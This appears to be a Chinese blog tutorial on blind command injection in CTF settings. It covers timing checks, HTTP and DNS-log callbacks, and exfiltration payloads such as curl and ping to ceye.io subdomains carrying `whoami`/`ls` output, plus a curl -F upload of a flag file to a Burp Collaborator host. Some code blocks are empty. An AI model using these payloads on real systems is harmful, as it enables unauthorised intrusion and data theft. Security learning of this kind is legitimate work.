落木千山天远大,澄江一道月分明
命令执行可能会存在执行完命令但是没有回显的情况,例如如下代码:
1 |
|
执行了但是没有在页面输出执行结果,这时我们可以通过一些方式去获取命令执行的结果。当然我们首先需要判断的是是否存在命令执行漏洞。
1. 命令执行无回显判断
1.1 根据代码逻辑判断
1.2 延时
在linux下可使用sleep函数
,在windows下可以选择一些耗时的命令,例如ping -n 5 127.0.0.1
linux下:
windows下:
1.3 HTTP请求
使用自己的公网服务器来开起监听nc -lp 8888
目标服务器cmd=curl ip:8888
(ping命令不会产生http请求)
1.4 DNS请求
(dnslog)
如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。
一般我们通过ping命令来测试dns外带数据,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现。限制ping的个数的参数在windows下是-n
,在linux下是-c
,为了兼容处理,也可联合使用-nc
2. 命令执行无回显利用
2.1 直接写入或外部下载shell执行命令
1 | ?cmd=whoami>test |
这个方法虽然简单,但是题目中可能会禁止使用cp命令,或者没有写权限
2.2 通过http请求/dns请求等方式带出数据
2.2.1 利用平台 http://ceye.io/
payload:1
2
3
4
5
6linux:
curl http://ip.port.98c2l7.ceye.io/`whoami`
ping `whoami`.ip.port.98c2l7.ceye.io
windows:
ping %USERNAME%.98c2l7.ceye.io
联合其他linux命令使用:
1 | cmd=curl http://98c2l7.ceye.io/`ls` |
2.2.2 利用burp
原理: 使用curl -F将flag文件上传到Burp的Collaborator Client。
Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies
操作步骤: 选择菜单Burp
–>点击Burp Collaboraor Client
点击Copy to Clipboard
,得到一个这样的链接:1
q4vot2x0k1njaaxwjugud63ksby1mq.burpcollaborator.net
构造payload:(以i春秋的exec题目为例)1
cmd=curl -F file=@flag233.php 5ci31h5fsgvyip5br9o9llbz0q6hu6.burpcollaborator.net
2.3 时间盲注
网络不通时,可以通过时间盲注将数据跑出来,主要借用&&
和||
的惰性;在linux下可使用sleep函数
,在windows下则可以选择一些耗时命令,如ping -n 5 127.0.0.1
.
sleep
1 | #请注意空格,测试环境ubuntu server 16.04 |